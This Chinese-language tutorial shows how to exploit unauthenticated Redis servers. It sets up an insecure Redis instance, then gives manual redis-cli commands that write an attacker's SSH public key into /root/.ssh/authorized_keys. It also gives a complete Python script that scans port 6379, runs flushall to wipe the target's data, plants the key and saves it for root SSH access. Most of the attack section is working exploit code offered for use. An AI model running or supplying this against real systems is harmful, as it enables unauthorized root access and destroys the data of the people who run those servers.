python编写Redis漏洞检测和利用脚本
环境配置
1 2 3 4
| # wget http://download.redis.io/releases/redis-6.0.8.tar.gz # tar xzf redis-6.0.8.tar.gz # cd redis-6.0.8 # make
|
执行完 make 命令后,redis-6.0.8 的 src 目录下会出现编译后的 redis 服务程序 redis-server,还有用于测试的客户端程序 redis-cli:
下面启动 redis 服务:
1 2
| # cd src # ./redis-server
|
修改redis.conf,先注释掉bind 127.0.0.1这一行,允许远程登陆,同时关闭保护模式
使用修改后的配置文件启动
1 2
| # cd src # ./redis-server ../redis.conf
|
利用过程
修改数据库默认路径为/root/.ssh,默认缓存文件为authorized.keys,把目标主机缓存的公钥作为value保存在authorized.keys文件中,这样就在服务器端/root/.ssh下生成了一个授权的key
1.本地主机生成密钥key
2.在目录/root/.ssh下查看生成结果,并把公钥导入txt文件中
1 2 3 4
| cd /root/.ssh ls (echo -e "\n\n"; cat id_rsa.pub;echo -e "\n\n") > key.txt cat key.txt
|
3.把生成的公钥导入Redis缓存中
1
| cat /root/key.txt | redis-cli -h xx.xx.xx.xx
|
4.连接到目标主机,更改配置文件路径为/root/.ssh,设置文件名称为authorized-keys
1 2 3 4 5
| redis-cli -h xx.xx.xx.xx
config set dir /root/.ssh Config set dbfilename authorized_keys save
|
5.ssh连接到目标主机
编写python脚本
github地址:https://github.com/sp4zcmd/SimpleRedisScanner
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| import socket import redis import sys
def Usage(): print('RedisScanner.py 127.0.0.1 key.txt')
def Scan(ip): payload="\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(10) try: s.connect((ip, 6379)) s.sendall(payload.encode()) recvdata=s.recv(1024).decode() if 'redis_version' in recvdata: print('[+] %s is vulnerable ' %ip) return True except: print('[-] %s is not vulnerable ' %ip) return False pass
def WriteSSHKeygen(ip,sshkey): try: r = redis.StrictRedis(host=ip, port=6379, db=0, socket_timeout=2) r.flushall() r.set('crackit', sshkey) r.config_set('dir', '/root/.ssh/') r.config_set('dbfilename', 'authorized_keys') r.save() print('[+] Write SSHkeygen successful') except: print('[-] Write SSHkeygen Failed') pass
if __name__=='__main__': if(len(sys.argv)==3): ip=sys.argv[1] sshkeyfile=sys.argv[2] try: with open(sshkeyfile, 'r') as f: sshkey = f.read() except: print('Read SSHkeygen Failed') pass
if Scan(ip): WriteSSHKeygen(ip, sshkey) else: Usage()
|
运行测试
写入成功
成功连接